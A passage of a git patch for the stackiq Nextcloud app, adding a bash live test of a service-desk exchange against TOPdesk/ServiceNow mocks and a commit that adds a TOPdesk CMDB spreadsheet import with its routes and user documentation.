diff --git a/tests/live/itsm-exchange-live.sh b/tests/live/itsm-exchange-live.sh new file mode 100755 index 000000000..63bace590 --- /dev/null +++ b/tests/live/itsm-exchange-live.sh @@ -0,0 +1,162 @@ +#!/usr/bin/env bash +# SPDX-License-Identifier: EUPL-1.2 +# SPDX-FileCopyrightText: 2026 Conduction B.V. +# +# Live run of the service desk exchange against integriq's TOPdesk or +# ServiceNow mock (openspec/changes/sharing-itsm-exchange, task 6). +# +# It points integriq's seeded source at the mock, stores the mock password +# in OpenRegister's credential broker, sets the exchange up through +# stackiq's own endpoint, runs the imports, and checks what the spec asks: +# the first import creates, the second updates, a stackiq change reaches the +# mock once, a conflict keeps each owner's field, and nothing echoes. +# +# Usage: tests/live/itsm-exchange-live.sh topdesk|servicenow +# Env: NC (http://localhost:8096), AUTH (admin:admin), MOCK_HOST +# (container name), MOCK_PORT (host port of the mock, for its +# control endpoints, read through the Nextcloud container). +# CONTAINER (rdam2-nextcloud). IN_CONTAINER=1 runs it inside the +# Nextcloud container itself (the clone is mounted there), for when +# the host port does not answer: NC=http://localhost. +# +# Test data only: the mock password is the mock's documented one. + +set -euo pipefail + +DESK="${1:?topdesk or servicenow}" +NC="${NC:-http://localhost:8096}" +AUTH="${AUTH:-admin:admin}" +CONTAINER="${CONTAINER:-rdam2-nextcloud}" +MOCK="http://rdam-mock-${DESK}:8080" +OR="$NC/index.php/apps/openregister/api" +SQ="$NC/index.php/apps/stackiq/api" +H=(-u "$AUTH" -H 'OCS-APIRequest: true' -H 'Accept: application/json') +FAIL=0 + +say() { printf '\n== %s\n' "$*"; } +ok() { printf ' ok %s\n' "$*"; } +bad() { printf ' FAIL %s\n' "$*"; FAIL=1; } +api() { curl -s "${H[@]}" -H 'Content-Type: application/json' "$@"; } +IN_CONTAINER="${IN_CONTAINER:-0}" +mock() { if [ "$IN_CONTAINER" = 1 ]; then curl -s "$@"; else docker exec "$CONTAINER" curl -s "$@"; fi; } +cron() { if [ "$IN_CONTAINER" = 1 ]; then su -s /bin/sh www-data -c 'php -f /var/www/html/cron.php' >/dev/null 2>&1 || true; else cron; fi; } +count() { api "$OR/objects/stackiq/$1?serviceDeskSystem=$DESK&_limit=500" | python3 -c 'import sys,json;print(len(json.load(sys.stdin).get("results",[])))'; } +mock_calls() { mock "$MOCK/__requests" | python3 -c " +import sys,json +log=json.load(sys.stdin) +print(sum(1 for r in log if r.get('method') in ('POST','PATCH','PUT') and '/__' not in r.get('path','')))"; } +run_flow() { api -X POST "$OR/flows/$1/run?sync=true" -d '{}' | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"), (d.get("error") or "")[:300])'; } + +# TEMPLATE_ID: the TOPdesk asset template for applications; the mock's is fixed. +TEMPLATE_ID="${TEMPLATE_ID:-a72b24c1-0553-4f88-9add-5b5bb85c7d4e}" +if [ "$DESK" = topdesk ]; then LOCATION="$MOCK/tas/api"; CRED=topdesk-application-password; else LOCATION="$MOCK"; CRED=servicenow-integration-password; fi + +say "reset the mock" +mock -X POST "$MOCK/__reset" >/dev/null && ok "mock reset" + +say "credential $CRED in the broker" +if api "$OR/credentials" | grep -q "\"$CRED\""; then ok "exists"; else + api -X POST "$OR/credentials" -d "{\"name\":\"$CRED\",\"provider\":\"generic-basic\",\"secret\":\"mock-password\",\"allowedApps\":[\"integriq\"]}" >/dev/null && ok "created" +fi + +say "point integriq's $DESK source at the mock" +SRC=$(api "$OR/objects/integriq/source?_limit=500" | python3 -c "import sys,json;r=[x for x in json.load(sys.stdin)['results'] if x['@self'].get('slug')=='$DESK'];print(r[0]['@self']['id'] if r else '')") +[ -n "$SRC" ] || { bad "integriq has no $DESK source"; exit 1; } +CONF=$(api "$OR/objects/integriq/source/$SRC" | python3 -c " +import sys,json +c=json.load(sys.stdin).get('configuration') or {} +a=c.setdefault('authentication',{}) +a.setdefault('username','stackiq') +a['password']={'credentialRef':{'credentialName':'$CRED'}} +print(json.dumps({'location':'$LOCATION','isEnabled':True,'configuration':c}))") +api -X PATCH "$OR/objects/integriq/source/$SRC" -d "$CONF" >/dev/null && ok "source $SRC at $LOCATION, keeping the template's configuration" + +say "set up the exchange" +ORG=$(api "$OR/objects/stackiq/organization?type=Municipality&_limit=1" | python3 -c 'import sys,json;print(json.load(sys.stdin)["results"][0]["@self"]["id"])') +SETUP=$(api -X POST "$SQ/itsm/setup" -d "{\"desk\":\"$DESK\",\"organisation\":\"$ORG\",\"templateId\":\"$TEMPLATE_ID\"}") +echo "$SETUP" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(" created:",d.get("created"),d.get("message",""));[print(" ",k,v) for k,v in (d.get("blocking") or {}).items()]' +echo "$SETUP" | grep -q '"created":true' || { bad "set-up refused"; exit 1; } +flow() { echo "$SETUP" | python3 -c "import sys,json;print(json.load(sys.stdin)['flows']['$1'])"; } +# The export runs async: OpenRegister's FlowRunWorker takes queued runs at most +# once a minute. Run cron until no run of the export is queued or running. +pending() { api "$OR/flow-runs?_limit=200" | python3 -c " +import sys,json +d=json.load(sys.stdin);rows=d if isinstance(d,list) else d.get('results',[]) +print(sum(1 for r in rows if r.get('flowId')=='$(flow outbound)' and r.get('status') in ('queued','running')))"; } +drain() { local i; for i in $(seq 1 16); do cron; [ "$(pending)" = 0 ] && return 0; sleep 15; done; bad "export runs still queued after 4 minutes"; } + +say "first import" +for f in applications relations licences contracts; do echo " $f: $(run_flow "$(flow $f)")"; done +drain +U1=$(count usage); C1=$(count connection); K1=$(count catalogContract) +[ "$U1" -gt 0 ] && ok "usages created: $U1" || bad "no usages created" +[ "$C1" -gt 0 ] && ok "connections created: $C1" || bad "no connections created" +[ "$K1" -gt 0 ] && ok "licences and contracts created: $K1" || bad "no contracts created" +CALLS_A=$(mock_calls) +echo " writes on the desk after the first import: $CALLS_A (stackiq-owned licence and contract fields reaching the application records)" + +say "second import updates, never duplicates, and calls nothing" +for f in applications relations licences contracts; do echo " $f: $(run_flow "$(flow $f)")"; done +drain +[ "$(count usage)" = "$U1" ] && ok "usages still $U1" || bad "usages now $(count usage)" +[ "$(count connection)" = "$C1" ] && ok "connections still $C1" || bad "connections now $(count connection)" +[ "$(count catalogContract)" = "$K1" ] && ok "contracts still $K1" || bad "contracts now $(count catalogContract)" +[ "$(mock_calls)" = "$CALLS_A" ] && ok "no new write on the desk" || bad "$(mock_calls) writes, was $CALLS_A" + +say "no write ever sends a field the desk owns" +OWNED_BY_DESK=$(mock "$MOCK/__requests" | python3 -c " +import sys,json +desk={'name','supplier','version','lifecycleStatus','vendor','install_status'} +hits=[k for r in json.load(sys.stdin) if r.get('method') in ('POST','PATCH','PUT') and '/__' not in r.get('path','') and '/assets/' in r.get('path','')+'/assets/' and isinstance(r.get('body'),dict) for k in r['body'] if k in desk] +print(len(hits))") +[ "$OWNED_BY_DESK" = 0 ] && ok "0 desk-owned fields sent on update" || bad "$OWNED_BY_DESK desk-owned fields sent" + +say "a stackiq-owned change reaches the desk once" +USAGE=$(api "$OR/objects/stackiq/usage?serviceDeskSystem=$DESK&_limit=1" | python3 -c 'import sys,json;r=json.load(sys.stdin)["results"][0];print(r["@self"]["id"]+" "+r["serviceDeskRecordId"])') +UID_=${USAGE% *}; RID=${USAGE#* } +# A value that differs from what the usage holds now, or the change is no change. +NEW_TC=$(api "$OR/objects/stackiq/usage/$UID_" | python3 -c 'import sys,json;print("Tolerate" if json.load(sys.stdin).get("timeClassification")=="Invest" else "Invest")') +BEFORE=$(mock_calls) +api -X PATCH "$OR/objects/stackiq/usage/$UID_" -d "{\"timeClassification\":\"$NEW_TC\"}" >/dev/null +drain +DELTA=$(( $(mock_calls) - BEFORE )) +[ "$DELTA" = 1 ] && ok "1 write for record $RID" || bad "$DELTA writes for one change" +mock "$MOCK/__requests" | grep -q "\"$NEW_TC\"" && ok "it carries the new TIME class $NEW_TC" || bad "the new TIME class never reached the desk" + +say "the import after the export writes nothing back and calls nothing" +AFTER_EXPORT=$(mock_calls) +run_flow "$(flow applications)" >/dev/null +drain +[ "$(mock_calls)" = "$AFTER_EXPORT" ] && ok "still $AFTER_EXPORT writes: no ping-pong" || bad "$(mock_calls) writes: ping-pong" + +say "conflict: each owner keeps its field" +if [ "$DESK" = topdesk ]; then mock -X POST "$MOCK/__set/$RID" -d '{"name":"Renamed in the desk"}' >/dev/null; else mock -X POST "$MOCK/__set/cmdb_ci_appl/$RID" -d '{"name":"Renamed in the desk"}' >/dev/null; fi +CONFLICT_TC=$(api "$OR/objects/stackiq/usage/$UID_" | python3 -c 'import sys,json;print("Eliminate" if json.load(sys.stdin).get("timeClassification")=="Migrate" else "Migrate")') +api -X PATCH "$OR/objects/stackiq/usage/$UID_" -d "{\"timeClassification\":\"$CONFLICT_TC\"}" >/dev/null +drain +run_flow "$(flow applications)" >/dev/null +drain +AFTER=$(api "$OR/objects/stackiq/usage/$UID_") +MOD=$(echo "$AFTER" | python3 -c 'import sys,json;print(json.load(sys.stdin).get("module"))') +NAME=$(api "$OR/objects/stackiq/module/$MOD" | python3 -c 'import sys,json;print(json.load(sys.stdin).get("name"))') +TC=$(echo "$AFTER" | python3 -c 'import sys,json;print(json.load(sys.stdin).get("timeClassification"))') +[ "$NAME" = "Renamed in the desk" ] && ok "stackiq shows the desk's name: $NAME" || bad "name is $NAME" +[ "$TC" = "$CONFLICT_TC" ] && ok "stackiq keeps its TIME class: $TC" || bad "TIME class is $TC, expected $CONFLICT_TC" +mock "$MOCK/__requests" | grep -q "\"$CONFLICT_TC\"" && ok "the desk got stackiq's TIME class $CONFLICT_TC" || bad "the desk never got $CONFLICT_TC" + +say "an application first recorded in stackiq is created in the desk, and its id comes back" +STAMP=$(date +%s) +SUP=$(api -X POST "$OR/objects/stackiq/organization" -d "{\"name\":\"Live supplier $STAMP\",\"type\":\"Supplier\"}" | python3 -c 'import sys,json;print(json.load(sys.stdin)["@self"]["id"])') +MODN="Live application $STAMP" +MODID=$(api -X POST "$OR/objects/stackiq/module" -d "{\"name\":\"$MODN\",\"provider\":\"$SUP\"}" | python3 -c 'import sys,json;print(json.load(sys.stdin)["@self"]["id"])') +NEWU=$(api -X POST "$OR/objects/stackiq/usage" -d "{\"module\":\"$MODID\",\"consumer\":\"$ORG\",\"status\":\"Planned\",\"timeClassification\":\"Invest\"}" | python3 -c 'import sys,json;print(json.load(sys.stdin)["@self"]["id"])') +drain; drain +NEWRID=$(api "$OR/objects/stackiq/usage/$NEWU" | python3 -c 'import sys,json;print(json.load(sys.stdin).get("serviceDeskRecordId") or "")') +[ -n "$NEWRID" ] && ok "the usage now carries desk record $NEWRID" || bad "no desk record id came back" +mock "$MOCK/__requests" | grep -q "$MODN" && ok "the desk received the create with the application name" || bad "the desk never received $MODN" +BEFORE_ECHO=$(mock_calls); drain +[ "$(mock_calls)" = "$BEFORE_ECHO" ] && ok "writing the id back made no second call" || bad "the id write-back made another call" + +say "result" +[ $FAIL = 0 ] && echo " ALL PASSED ($DESK)" || echo " FAILURES ($DESK)" +exit $FAIL From 4dd0fd2d6fd8474f3483c30e27da7b3399919e79 Mon Sep 17 00:00:00 2001 From: Wilco Louwerse Date: Thu, 1 Oct 2026 22:26:11 +0200 Subject: [PATCH 061/176] feat(cmdb-import): import a TOPdesk CMDB export (xlsx) into the catalogue (#1209) Gemeente Rotterdam's CMDB is a TOPdesk export. An admin picks the consuming municipality and uploads the xlsx; stackiq reads the two CMDB sheets (Onbeh Applicaties CMDB, Beheerde Applicaties CMDB) and per row creates or updates a module, the vendor and the municipality as organisations, a usage and the owner as contact person, keyed on topdesk:: so a re-import updates. The column mapping is declarative (lib/Settings/cmdb-import/) and runs through OpenRegister's MappingEngine. Jira WOO-586. By Wilco Louwerse; l10n, format and gate fixes and the development merge added on top. --- appinfo/routes.php | 6 + docs/features/README.md | 11 + docs/features/cmdb-import.md | 272 ++++ l10n/en.js | 116 +- l10n/en.json | 116 +- l10n/nl.js | 116 +- l10n/nl.json | 116 +- lib/Controller/CmdbImportController.php | 292 ++++ lib/Exception/CmdbImportException.php | 118 ++ lib/Service/Cmdb/CmdbImportProfile.php | 603 +++++++ lib/Service/Cmdb/CmdbImportReport.php | 220 +++ lib/Service/Cmdb/CmdbRowNormaliser.php | 209 +++ lib/Service/Cmdb/CmdbWorkbookReader.php | 497 ++++++ lib/Service/CmdbExportImportService.php | 1411 +++++++++++++++++ .../cmdb-import/topdesk-business-owner.json | 12 + .../cmdb-import/topdesk-manufacturer.json | 12 + lib/Settings/cmdb-import/topdesk-module.json | 43 + .../cmdb-import/topdesk-municipality.json | 12 + lib/Settings/cmdb-import/topdesk-profile.json | 44 + lib/Settings/cmdb-import/topdesk-usage.json | 39 + .../register.d/topdesk-cmdb-import.json | 109 ++ openapi.json | 387 ++++- .../changes/cmdb-export-import/.openspec.yaml | 2 + .../changes/cmdb-export-import/contract.md | 116 ++ openspec/changes/cmdb-export-import/design.md | 432 +++++ .../changes/cmdb-export-import/migration.md | 52 + .../changes/cmdb-export-import/proposal.md | 105 ++ .../specs/cmdb-export-import/spec.md | 409 +++++ openspec/changes/cmdb-export-import/tasks.md | 141 ++ .../changes/cmdb-export-import/test-plan.md | 147 ++ openspec/specs/cmdb-export-import/spec.md | 51 + postman/stackiq-tests.json | 492 ++++++ src/utils/cmdbImport.js | 494 ++++++ src/views/settings/StackiqSettings.vue | 5 + src/views/settings/sections/CmdbImport.vue | 991 ++++++++++++ .../Controller/CmdbImportControllerTest.php | 341 ++++ .../Unit/Fixtures/CmdbFixtureHygieneTest.php | 305 ++++ .../Service/Cmdb/CmdbImportProfileTest.php | 305 ++++ .../Service/Cmdb/CmdbRowNormaliserTest.php | 134 ++ .../Service/Cmdb/CmdbWorkbookReaderTest.php | 323 ++++ .../Service/CmdbExportImportServiceTest.php | 1209 ++++++++++++++ .../Settings/CmdbPersonDataVisibilityTest.php | 134 ++ .../Unit/Settings/TopdeskCmdbFragmentTest.php | 132 ++ tests/Unit/Support/CmdbTestSupport.php | 159 ++ .../Support/OpenRegister/MappingEngine.php | 353 +++++ .../OpenRegister/PackDefinitionValidator.php | 383 +++++ tests/e2e/spec-coverage/cmdb-import.spec.ts | 566 +++++++ tests/fixtures/cmdb/README.md | 45 + tests/fixtures/cmdb/build-fixtures.py | 355 +++++ .../cmdb/topdesk-export-anonymised.xlsx | Bin 0 -> 160560 bytes .../cmdb/topdesk-formula-and-connection.xlsx | Bin 0 -> 160968 bytes .../fixtures/cmdb/topdesk-missing-appid.xlsx | Bin 0 -> 160578 bytes .../cmdb/topdesk-no-source-sheet.xlsx | Bin 0 -> 1589 bytes .../cmdb/topdesk-shuffled-columns.xlsx | Bin 0 -> 156723 bytes 54 files changed, 12937 insertions(+), 5 deletions(-) create mode 100644 docs/features/cmdb-import.md create mode 100644 lib/Controller/CmdbImportController.php create mode 100644 lib/Exception/CmdbImportException.php create mode 100644 lib/Service/Cmdb/CmdbImportProfile.php create mode 100644 lib/Service/Cmdb/CmdbImportReport.php create mode 100644 lib/Service/Cmdb/CmdbRowNormaliser.php create mode 100644 lib/Service/Cmdb/CmdbWorkbookReader.php create mode 100644 lib/Service/CmdbExportImportService.php create mode 100644 lib/Settings/cmdb-import/topdesk-business-owner.json create mode 100644 lib/Settings/cmdb-import/topdesk-manufacturer.json create mode 100644 lib/Settings/cmdb-import/topdesk-module.json create mode 100644 lib/Settings/cmdb-import/topdesk-municipality.json create mode 100644 lib/Settings/cmdb-import/topdesk-profile.json create mode 100644 lib/Settings/cmdb-import/topdesk-usage.json create mode 100644 lib/Settings/register.d/topdesk-cmdb-import.json create mode 100644 openspec/changes/cmdb-export-import/.openspec.yaml create mode 100644 openspec/changes/cmdb-export-import/contract.md create mode 100644 openspec/changes/cmdb-export-import/design.md create mode 100644 openspec/changes/cmdb-export-import/migration.md create mode 100644 openspec/changes/cmdb-export-import/proposal.md create mode 100644 openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md create mode 100644 openspec/changes/cmdb-export-import/tasks.md create mode 100644 openspec/changes/cmdb-export-import/test-plan.md create mode 100644 openspec/specs/cmdb-export-import/spec.md create mode 100644 src/utils/cmdbImport.js create mode 100644 src/views/settings/sections/CmdbImport.vue create mode 100644 tests/Unit/Controller/CmdbImportControllerTest.php create mode 100644 tests/Unit/Fixtures/CmdbFixtureHygieneTest.php create mode 100644 tests/Unit/Service/Cmdb/CmdbImportProfileTest.php create mode 100644 tests/Unit/Service/Cmdb/CmdbRowNormaliserTest.php create mode 100644 tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php create mode 100644 tests/Unit/Service/CmdbExportImportServiceTest.php create mode 100644 tests/Unit/Settings/CmdbPersonDataVisibilityTest.php create mode 100644 tests/Unit/Settings/TopdeskCmdbFragmentTest.php create mode 100644 tests/Unit/Support/CmdbTestSupport.php create mode 100644 tests/Unit/Support/OpenRegister/MappingEngine.php create mode 100644 tests/Unit/Support/OpenRegister/PackDefinitionValidator.php create mode 100644 tests/e2e/spec-coverage/cmdb-import.spec.ts create mode 100644 tests/fixtures/cmdb/README.md create mode 100644 tests/fixtures/cmdb/build-fixtures.py create mode 100644 tests/fixtures/cmdb/topdesk-export-anonymised.xlsx create mode 100644 tests/fixtures/cmdb/topdesk-formula-and-connection.xlsx create mode 100644 tests/fixtures/cmdb/topdesk-missing-appid.xlsx create mode 100644 tests/fixtures/cmdb/topdesk-no-source-sheet.xlsx create mode 100644 tests/fixtures/cmdb/topdesk-shuffled-columns.xlsx diff --git a/appinfo/routes.php b/appinfo/routes.php index 3586e5e40..33451b3fc 100644 --- a/appinfo/routes.php +++ b/appinfo/routes.php @@ -104,6 +104,12 @@ ['name' => 'settings#killArchiMateImport', 'url' => '/api/archimate/import/kill', 'verb' => 'POST'], // deprecated ['name' => 'settings#clearArchiMateExportStatus', 'url' => '/api/archimate/status/export/clear', 'verb' => 'POST'], + // CMDB export import (TOPdesk xlsx) — admin-only, CSRF-protected. + // Progress is read through the existing /api/progress/{operationId}. + // @spec openspec/changes/cmdb-export-import/tasks.md#task-8 + ['name' => 'cmdbImport#import', 'url' => '/api/cmdb-import', 'verb' => 'POST'], + ['name' => 'cmdbImport#cancel', 'url' => '/api/cmdb-import/{operationId}/cancel', 'verb' => 'POST'], + // User Groups management routes ['name' => 'settings#getGenericUserGroups', 'url' => '/api/settings/user-groups/generic', 'verb' => 'GET'], ['name' => 'settings#setGenericUserGroups', 'url' => '/api/settings/user-groups/generic', 'verb' => 'POST'], diff --git a/docs/features/README.md b/docs/features/README.md index 82747caed..7fa964f0a 100644 --- a/docs/features/README.md +++ b/docs/features/README.md @@ -17,6 +17,7 @@ All data is stored as OpenRegister objects (no own database tables). OpenRegiste | [Federated Synchronisation](#federated-synchronisation) | Sync catalogue data across organisations and sources | | [Automatic User Provisioning](#automatic-user-provisioning) | Create Nextcloud users from catalogue contacts | | [ArchiMate Import/Export](#archimate-importexport) | Exchange software landscape data in ArchiMate format | +| [CMDB Import](#cmdb-import) | Import a municipality's TOPdesk CMDB export (xlsx) as applications, suppliers, usages and owners | | [Open Data Publishing](#open-data-publishing) | Expose the catalogue as a public open-data API | | [GEMMA Compliance](#gemma-compliance) | Built around VNG GEMMA Softwarecatalogus reference | @@ -155,6 +156,16 @@ The ArchiMate integration maps GEMMA Softwarecatalogus objects to ArchiMate appl **Key services:** `lib/Service/ArchiMateService.php`, `lib/Service/ArchiMateImportService.php`, `lib/Service/ArchiMateExportService.php` +## CMDB Import + +Import a TOPdesk CMDB export (`.xlsx`) for one municipality from the **CMDB import** section of the admin settings. Every application row of the two CMDB sheets ("Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB") becomes or updates a module, its vendor as a Supplier organisation, a usage that links it to the municipality and records whether maintenance is arranged, and a contact person for its owner (identity in Nextcloud Contacts, never public). A repeat import matches on APPID per municipality, so it updates instead of duplicating, and leaves applications missing from the newer export as they are. The column mapping is declarative JSON executed by OpenRegister's mapping engine. + +See [CMDB import](cmdb-import.md) for the steps, the expected file structure, the error codes and how to adjust the mapping. + +**Key services:** `lib/Service/CmdbExportImportService.php`, `lib/Service/Cmdb/` +**Controller:** `lib/Controller/CmdbImportController.php` +**Endpoint:** `POST /apps/stackiq/api/cmdb-import` + ## Open Data Publishing The catalogue is published as an open-data API. All registered applications, modules, and connections are accessible via public endpoints: diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md new file mode 100644 index 000000000..5167ccdae --- /dev/null +++ b/docs/features/cmdb-import.md @@ -0,0 +1,272 @@ + + +# CMDB import + +Imports a TOPdesk CMDB export (an Excel workbook, `.xlsx`) for one +municipality. Every application row of the two CMDB sheets becomes, or +updates: + +- a **module** (the application, `schema:SoftwareApplication`); +- its vendor (the maker of the software) as an **organisation** of type + Supplier; +- a **usage** that links the application to the municipality; +- a **contact person** of the municipality for its owner, with the identity + in Nextcloud Contacts. Owners are never readable by the public. + +All of it is stored as OpenRegister objects in the stackiq register. Import a +newer export later and the same applications are updated, not duplicated. + +Specification: [`openspec/changes/cmdb-export-import/`](https://github.com/ConductionNL/stackiq/tree/development/openspec/changes/cmdb-export-import). + +## Who can import + +Only Nextcloud administrators. Members of the `software-catalog-admins` group +who are not Nextcloud administrators cannot import. The section is part of +stackiq's admin settings, under **Administration settings → Stackiq → +CMDB import**. + +## Before you start + +The import itself only needs stackiq and OpenRegister. To see the imported +applications in the other apps, two things must be set up there. The import +does not change either of them. + +**OpenCatalogi (search).** OpenCatalogi lists an application only through a +catalogue that includes the register `stackiq` and the schema `module`. In +OpenCatalogi, open the catalogue that should show the municipality's +applications and add that register and schema. A newly imported module gets +a publication date (the moment the import started), so it is listed from then +on. + +**Portaliq ("Software we use").** Portaliq shows an application to a +municipality through a usage whose consumer is that municipality. The portal +account of the municipality needs the claim `stackiq.organisationId` set to +the uuid of the municipality organisation the import used. The uuid is in +the import result (the municipality line) and on the organisation's detail +page in stackiq. + +## Steps + + + +1. Open **Administration settings → Stackiq** and scroll to **CMDB import**. +2. **Municipality.** Pick an existing organisation of type Municipality from + the list, or type the name of a new one and press Enter. A typed name that + matches an existing municipality (ignoring case and extra spaces) uses that + municipality; otherwise a new organisation of type Municipality with + status Active is created during the import. +3. **File.** Choose the TOPdesk export (`.xlsx`, at most 10 MB). +4. **Update existing records.** On by default. Turn it off to import only + applications that are new for this municipality; rows that match an + existing application are then reported as *skipped* with reason `exists` + and nothing about them changes. +5. Press **Import**. A progress bar shows how many rows have been processed. + **Cancel import** stops the import before the next row; rows that were + already processed stay imported. + + + +When the import finishes, the section shows: + +- the **summary**: rows read, created, updated, unchanged, skipped, failed + and warnings; +- **warnings for the whole file**, for example an optional column that is + missing; +- the **rows** table: sheet, row number, APPID, application, outcome, + and the reasons and warnings for that row. Filter it with **Show rows with + outcome**. The application name links to the module in stackiq. + + + +The municipality stays selected after an import, so a second import goes to +the same organisation. + +## The file + +The import reads the two CMDB sheets of the export and ignores all others, +including the `Invoer` sheets they are derived from: + +| Sheet | What it holds | Recorded on the usage | +|---|---|---| +| `Onbeh Applicaties CMDB` | applications **without** arranged maintenance (from the AIA export) | `Beheer geregeld: nee` | +| `Beheerde Applicaties CMDB` | applications **with** arranged maintenance (from the APP export) | `Beheer geregeld: ja` | + +At least one of the two must be present. Row 1 of each sheet holds the +column names. Columns are found by name per sheet, not by position: case, +surrounding spaces and a trailing `:` or `⚡` do not matter, and the order of +the columns does not matter. A column that one sheet has and the other has +not (such as `Nickname`, only on `Beheerde Applicaties CMDB`) is optional on +the sheet that lacks it. Empty rows, including formatted rows below the data, +are ignored and not counted. A sheet may hold at most 10,000 rows with data. + +Two columns are **required** on every CMDB sheet that is present: `APPID` +and `Applicatie Naam`. Every other column is optional; when one is missing, +the import names it once in the warnings for the whole file. + +**Formulas.** The CMDB sheets are formulas that read the `Invoer` sheets. +The import reads the value Excel stored with each formula cell; formulas are +never calculated. Save the workbook in Excel before importing it, so every +formula has a stored value. A formula without a stored value is read as an +empty cell and the row carries the warning `Column "…": formula without a +cached value, read as empty`; the row is still imported. A stored `0` is what +Excel shows for a reference to an empty cell, and is read as empty too. +External data connections, Power Query queries and links in the workbook are +never opened. Macro-enabled workbooks (`.xlsm`), old Excel files (`.xls`) and +CSV files are not accepted. + +**Placeholder values.** The CMDB sheets fill some empty cells with a +placeholder. These are read as empty: `NB` in `BNN Classificatie`, and the +date 2036-01-01 (Excel serial 49675) in `End-of-Life Functioneel`. + +### Columns and where they go + +| Column | Goes to | Rule | +|---|---|---| +| APPID | module external number, and the match key | required, see [Repeat imports](#repeat-imports) | +| Applicatie Naam | module name | required | +| Applicatie Code | module external id | reference only; it can change in TOPdesk, so it is not the match key | +| Roepnaam, Nickname | module short description | Roepnaam when filled, otherwise Nickname (only on `Beheerde Applicaties CMDB`) | +| Functionele Omschrijving | module long description | | +| Applicatiesoort | module hosting model (`cloudDienstverleningsmodel`) | `Saas` → SaaS, `PaaS` → PaaS, `IaaS` → IaaS, `On-premise(s)` → On-premises (self-managed); another value is dropped with a warning | +| BNN Classificatie | module BBN level | `BBN1`/`BBN 1`/`BNN1` etc. become `BBN1`, `BBN2`, `BBN3`; `NB` is empty; another value is dropped with a warning | +| Datum | module external creation date | Excel date | +| Referentie datum wijziging | module external modification date | Excel date | +| Vendor | Supplier organisation, set as provider on the module and the usage | one organisation per name, see below | +| Applicatie Status | usage status | In productie → In production, In voorraad → Planned, In ontwikkeling → Acquisition, Uit te faseren → To be phased out, Uitgefaseerd → Phased out; another value is dropped with a warning | +| Classificatie | usage TIME classification | Tolereren/Tolerate, Investeren/Invest, Migreren/Migrate, Elimineren/Eliminate | +| End-of-Life Functioneel | usage phase-out date | Excel date; 2036-01-01 is empty | +| (the sheet), Cluster, Applicatie Eigenaar (Afdeling) | usage internal annotation | `Beheer geregeld: ja` or `nee`, the cluster and the department, joined with ` / `; written only when the usage is new or the note is empty | +| Applicatie Eigenaar (Persoon), Applicatie Eigenaar (Functie) | usage business owner (contact person) | see [Owners](#owners) | + +Columns not in this table are not read at all. That includes Hostingpartij +and Leverancier (not mapped yet), the BIV and value columns (Beschikbaarheid, +Integriteit, Vertrouwelijkheid, Applicatienut and the like), Behandelgroep, +Cloud, Rappeldatum, Rappelreden, Locatie BIOToets, Software Suite, Standaard, +Top5, COTS and Applicatie Nummer. + +**Vendors.** Names are compared after trimming, collapsing spaces and +ignoring case, so `Fabfrikant`, `Fabfrikant ` and `FABFRIKANT` are one +Supplier. An existing organisation of type Supplier with the same name is +reused. A row without a vendor is imported without a provider. + +## Repeat imports + +An application is recognised by its **APPID within the municipality**: the +match key is `topdesk::`. The APPID (TOPdesk's ICT +Applicatienummer) stays the same when TOPdesk changes the Applicatie Code +(Middel-ID). Two municipalities can each have an APPID `101` without +colliding. + +- **New APPID**: a module and a usage are created. The module gets a + publication date (the moment the import started), so OpenCatalogi lists it. +- **Known APPID, values changed**: only the fields in the column table + are updated. Everything else on the module stays as it is, for example a + website an administrator added. The publication date and the depublication + date are never changed: a module an administrator depublished stays + depublished. The row is reported as *updated*. +- **Known APPID, nothing changed**: nothing is saved; the row is reported + as *unchanged*. Importing the same export twice creates nothing the second + time. +- **APPID missing from a newer export**: the application, its usage and + its contact persons are left as they are. They are not changed, depublished + or deleted. +- Each application keeps exactly one usage for the municipality. + +Rows are **skipped** when the APPID is empty (`missing APPID`), when the +Applicatie Naam is empty (`missing Applicatie Naam`), when an APPID appears a +second time in the same upload, also across the two sheets (`duplicate APPID +in file`; the first occurrence is imported), or, with **Update existing +records** off, when the application already exists (`exists`). + +An application that moves from `Onbeh Applicaties CMDB` to `Beheerde +Applicaties CMDB` keeps its module and usage (same APPID); its internal note +is not rewritten when it already has one. + +Every row is processed on its own. When one row fails, for example because +OpenRegister refuses to save it, that row is reported as *failed* with the +step that failed, and the other rows are imported. Importing again completes +the failed row. + +## Owners + +The owner becomes a **contact person of the municipality**, never a +Nextcloud user account. It comes from `Applicatie Eigenaar (Persoon)`; its +function (`Applicatie Eigenaar (Functie)`) is stored as the contact person's +role, and the department (`Applicatie Eigenaar (Afdeling)`) goes into the +usage's internal note. When TOPdesk has no owner, the CMDB sheet shows the +owner's function in the person column; the import then uses that function as +the contact's name. No technical owner is imported: the functional +administrator (FB contactpersoon) is not read. + +The identity is kept in **Nextcloud Contacts**, in the first writable +address book of the administrator who runs the import, the same as every +other stackiq contact. The CMDB sheets have no e-mail address, so a contact +is found by an exact match on the name, and created when there is none. The +stackiq contact person object only holds the link to that contact, the role +and the municipality. The same owner on several rows is one contact person. + +When the Contacts app is disabled, applications and usages are still +imported; the owners are skipped and each affected row carries a warning. + +**Never public.** Contact persons and usages have no public read rule, so an +anonymous visitor cannot read them through OpenRegister, and a published +module in an OpenCatalogi search result refers to them by id at most. The +import report and the Nextcloud log never contain owner names. + +## Errors and what to do + +When the file or the request cannot be imported at all, nothing is written +and the section shows the reason and the error code. + +| Error code | What it means | What to do | +|---|---|---| +| `NOT_XLSX` | The file is not an Excel workbook: wrong extension, or the content is not an `.xlsx` package. | Save the export as Excel workbook (`.xlsx`). | +| `FILE_TOO_LARGE` | The file is larger than 10 MB. | Remove sheets the import does not read, or split the export. | +| `NO_FILE_UPLOADED` | No file arrived. | Choose the file again. | +| `MUNICIPALITY_REQUIRED` | No municipality was chosen. | Pick or type a municipality. | +| `MUNICIPALITY_INVALID` | The chosen organisation does not exist or is not of type Municipality. | Pick an organisation of type Municipality, or type a new name. | +| `NO_SOURCE_SHEET` | Neither `Onbeh Applicaties CMDB` nor `Beheerde Applicaties CMDB` is in the workbook. | Check the sheet names; they must match exactly. | +| `MISSING_COLUMN` | A present CMDB sheet has no `APPID` or `Applicatie Naam` column. The message names the sheet and the column. | Add the column to that sheet. | +| `TOO_MANY_ROWS` | A CMDB sheet has more than 10,000 rows with 